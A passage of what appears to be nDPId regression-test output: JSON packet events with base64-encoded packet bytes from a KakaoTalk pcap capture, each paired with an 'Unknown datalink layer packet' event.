packet","thread_id":0,"packet_id":1996,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1997,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":839637,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ITWAbDMpfrBGQ1SapdqG67wRBIYvVhjBLTBQ4i\/a00b9jJ5Xynk69eQkFsDKmj71h28Ipkhw1bIk"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1997,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1998,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":859229,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/rWOAbDL5fq+SQ1SapdpxNvok3e1ZwnQKwWf7gFW7GZA448xe3cOtKwfleO861He5XhAFwD8F5QMe"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1998,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1999,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":878333,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/fKmAbDMqfrBKA1SapdqijVeuW326QCZVuVjQEtWlX3Jz5+A3B9Vy3ndEgfnHbfIVmccOCrJR0Q6I"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1999,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2000,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":879309,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGQAAEAAHRH9FgHJAa4KGFK8WgQsOABQHFKAbDL6fq+WA1SapdonG3NRhbTNiXqnVhPBe2woMqV2KfZeG4BKgWaRkCfMDR1dsMgEzqScNSxNvQH31tZQU4lACOjGPkPZxgo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2000,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00648{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2001,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":891944,"pkt_caplen":254,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":254,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAO5Ko0AAQAaVFAoYUrxuTI8y5ekjKS1plqfX8KnlgBgC9XbqAAABAQgKAALVSETbrNcXAwEAIFyJgKQfVKI0DPjVP7JDBDam8x620bdnCmfNXVPvlCXUFwMBAJAhybGn2pDX\/StL2EnI+PtcpfleL+33T15r6fwpnruN\/v5egrCCwfE4Wqk4YbWJt55x7\/+DqbMcXF2FqSvXlnyfvW1rMLnliV6At3Vucm7xUK2qQixXW18yd86v4TA26davkXj4nhj3pG8HLhjabyAZDdz\/25h+09xXiMCC1q+DkmW6JLB0MWclBiyZpQt3RPI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2001,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2002,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":911292,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAPxHbQQoYUrwByQGuLDhaBABN38KAbFCki0DoWguGVRlnUEUUszqEiYiIPynxw9SpLEo+W+s2Ly4MWiu6UEI1yIezAdzzv76aNFusbXQBzPUGGxcJKqDi3VY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2002,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2003,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":916999,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJoSmAbFCli0DsGguGVRkmMMIxq0DmBwV+ZH+3r+GZ2yPxYnuw3kFQIJvFhLsPRTgYbJ1bxuHau9aNRGqeOdUOzXKaWg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2003,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2004,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":938056,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAQBHaIgoYUrwByQGuKBxaBgBsW1SAbDMrfrBNw1SapdqxdFQjjl+rikpZphTwtYzAZLwr8rNvdXIfhisehuYaf1jmyXcqPZmqPK2h5U75ioFV9fV1gvUBR4y4rr+PhqDGFzvYCUPz1pCcyJOHHIdroluYBnfAijU1"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2004,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2005,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":943152,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJgAAEAAHBH94gHJAa4KGFK8WgYoHACEocCAbFB0i0A0WguGVRmlRtL9GrcwkyGvTgvmD\/5uWUYXmTMoc0efUsW6DAZo8u45l7e+Ly8CSPgTU3OyuZhzq7Jq4bowX6oV0\/DXo65Y6NJ6Ypq37reRr2L5u8nzNMyC\/bvHHrzhUbVUIaiJmhHROHtP6qLvDxQTx32+KsCe"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2005,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2006,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":947150,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABKUaqAbFB1i0A4GguGVRk1DKZLAnXl3CNOtI4fg8MQcSkGeTd\/wJGDerAPnVbUZpUToAisBuhg4VScBVA1ao3uSrYlnT8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2006,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2007,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":971167,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKGbaAbDL7fq+Zw1Sapdq0RmuCaKef6jgLrs5Z6ghs5AVFeN1+ShZAwCAwKOv3maXlloq8fRetVHDjoX8ZcJCwxFohsXs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2007,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00646{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2008,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":976020,"pkt_caplen":254,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":254,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAO7n9UAAPwb4wQoYUrxuTI8ygMgfkPcR4GCSeOaRgBgA0M62AAABAQgKAAtNm0TbrTwXAwEAIF5AKgjyI0NGRhRrGkcf8O0njNQkLNHp3rENHPoN8ahCFwMBAJA+7JjvRcTaUpV1\/tSeusUiLLTH+Wnl56Le5QddHKvP0dkHuQXIcVgpEaREihEae7\/vPEWbfTUq4pljD0+KVVeSEBX1vM1TavIZIstNqiXaXM52CYI+b+FRzq1AS2BaHzwbY1slTArxDX1UUBNzwvJhATza+i7qRX8YM6HtDnPnCfS2UQXqjIXJb65r45TpEww="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2008,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00506{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2009,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":978064,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIYAAEAAQBHaHAoYUrwByQGuKBxaBgBy58aAbDMsfrBRg1SapdqqGBEY0kCun1yhLMEhkvT\/YA7he5YeJgU5DAVj0RWlgUJafk9KekulbXt0LQPVcVMQ2SrU3uQgaTFYy74QbRexzwhGufrAGHXeAXllfkH1JVzWF31PuJ8f\/tKDyUCA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2009,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2010,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":979193,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFkAAEAAHBH+IQHJAa4KGFK8WgYoHABFhxaAbFB2i0A72guGVRnYdEEiHQs89LsV\/nN7kBqBuv3B\/5obHdIzhw\/rkjNxQ8tvUDFR9SMqw0duCcaEVaaA"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2010,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2011,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069200,"pkt_ts_usec":995215,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLoW+AbDL8fq+dg1SapdpRai7XOah\/g7TBc\/4fzrh3AXb3dOPAykaVlerNqk51ya8WTH1OXwqU8mDtC9pfh1u+E4w6zXB+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2011,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2012,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":7239,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/akmAbDL9fq+hQ1SapdoZCioUg8\/TzfYQQNRp4JqDPJz2wbgwUIGkHlOurUCwf82n9I21MITKrfnP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2012,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2013,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":12976,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABG2\/mAbFCmi0Dv2guGVRkleNc6objpZ+Qwl6QdQXBJ8I58UIpGm1XtkIuMrgvV51Ag12ZNqjGJ5055hfmaqbvEbQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2013,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2014,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":18927,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMEOKAbFCni0DzmguGVRkxfm0enYinq7tk2\/mPMxQsnjLuV0KfZyec799H7i8z8uvC3VD\/BJIUBN6aaKIg5Gl4\/QZSPa0nKQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2014,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2015,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":55579,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABM6CuAbFB3i0A\/mguGVRlK+TYKKMpTFu3UXMEdJz1Uk48Uhx2i+Ikajq444lPXjm2nu1xZkpeQLoM606fCj1w9xQbDq1GrBg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2015,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2016,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":55854,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHSWiAbFB4i0BDWguGVRkTEIbRkngmAIu5DpDIWaLT2La1PrqrPhyJHLNwRI322cx9+QfF6\/wsc38SjtIZiRp2B54="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2016,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2017,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":55945,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/MkSAbDL+fq+lA1Sapdpk1LTECVKgzxVej2Ms5rkZF73P+TdDwPJg06\/umbgQ52zRemZJFhvU2SQG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2017,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00531{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2018,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":67511,"pkt_caplen":167,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":167,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJcAAEAAQBHaCwoYUrwByQGuKBxaBgCDqN2AbDMtfrBVQ1SapdpTN\/i63OppsLmhLzmttACno94VFmyJvfXLCFmssXtz\/tb02D6pENTkXR1yLV0ZujwuwrSGloAvb3hEtEtsDjlExlgJhk6PfNUXELUiGA\/Ecva7WBW7VmQVJt9IDpdR\/Xse6GssxRcSjglKnHlr3uI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2018,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2019,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":79291,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPF4aAbDL\/fq+ow1SapdqaYr5ML2PI7b88Uhh5W0hH293BPAqCijr4Fs7XIdHkMVN+NpV4QDIpClC+B6YrluoqGfJJ4TL4SOti7g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2019,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2020,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":80603,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJ4OOAbFB5i0BHGguGVRnV6\/7m74MxZW83kE7ZyKY9QGbJ32eppyQPHR8UknK6AGbDDieOsEpf7M8fA0FxUS7co+0YeQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2020,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2021,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":88629,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFcAAEAAHBH+IwHJAa4KGFK8WgYoHABDEnWAbFB6i0BK2guGVRmf74w1zMwLvfPr\/bNTYbDnbjS\/TLvLIXn25s46ZzaNZIvraMlRzKw1kLA1UDASWw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2021,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2022,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":108039,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEF2uAbDMAfq+sg1Sapdrj0j+obnrXxPlrdMxxFLgLgVLhd9OfieofEEA9Fki+F\/Via2KODLiwYUUi57\/+R5w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2022,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2023,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":114478,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHO72AbFCoi0D3WguGVRkHNCBGgiiLct85Pmk5iIc1uVS6mGTLZlXi9WXnCalMkmZ6Tl1wMW0KXMbt9Z\/\/xUmgFVU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2023,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2024,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":121833,"pkt_caplen":168,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":168,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJgAAEAAQBHaCgoYUrwByQGuKBxaBgCEkKuAbDMufrBZA1SapdomX3gPmJ5La4iNkOb\/\/tR5lm17jE\/iCE\/Lmue9F8skhIOXHakVrHqkbO5C+176wBMrwwXPcFsYs3uBx4GbenG9tzrxTq9G\/B8Dljvoj7ghCXxlGDS2Y\/xf1Dir0lsJl9QSQQPkPzUpaXfJtb\/2mY8O"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2024,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2025,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":145270,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABL\/FqAbFB7i0BOmguGVRndud4OW502vNJ3dhRS5wkYBZKPM2XIVaMvPVZQCDqIiVXenSZISqd+K7PZQZsGxsM49MhQaCsJ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2025,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2026,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":145453,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/+PqAbDMBfq+wQ1Sapdq4zUjrHgMPh3LDzb0lX\/Cpau3oTfvM07OE0E112CmjhuVXk1PUtr7taUfX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2026,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2027,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":151282,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/NBaAbDMCfq+0A1SapdrK\/eisi7nhSdmL5Z6\/WasWD63YDEkasz57XORRZIVM7tFZg3LiqCnLZ3z8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2027,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2028,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":166571,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIsAAEAAQBHaFwoYUrwByQGuKBxaBgB3QoCAbDMvfrBcw1SapdqR+yjnm50Ro1hl3PsIXbsR73HuhQfcyyC2EMMPm3eCzcpFA81\/nIi9Ixop1+NLd9fTaZS\/0iGMTgRfyWya9UoZN9pPcqcVwMd6JXGk8ibiOzLlzqKD3OMtgplareIQM5s3bm0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2028,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2029,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":171729,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLGHmAbFB8i0BSWguGVRkQv7QpG5cCQ579ZnQnjI3ItozNmygqxUnvnpm2UNEnf6+UTMiTrPZ0xXa05Mn6Lf1tyTqCSGT7"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2029,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2030,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069201,"pkt_ts_usec":179267,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABH6j2AbFB9i0BWGguGVRn\/dDuKvX67gqxrrlwYR2du9MUm+ONvjaK3s+k46m\/Pr4goajUxU3D0PNxCkEl5J2RZhcs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2030,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 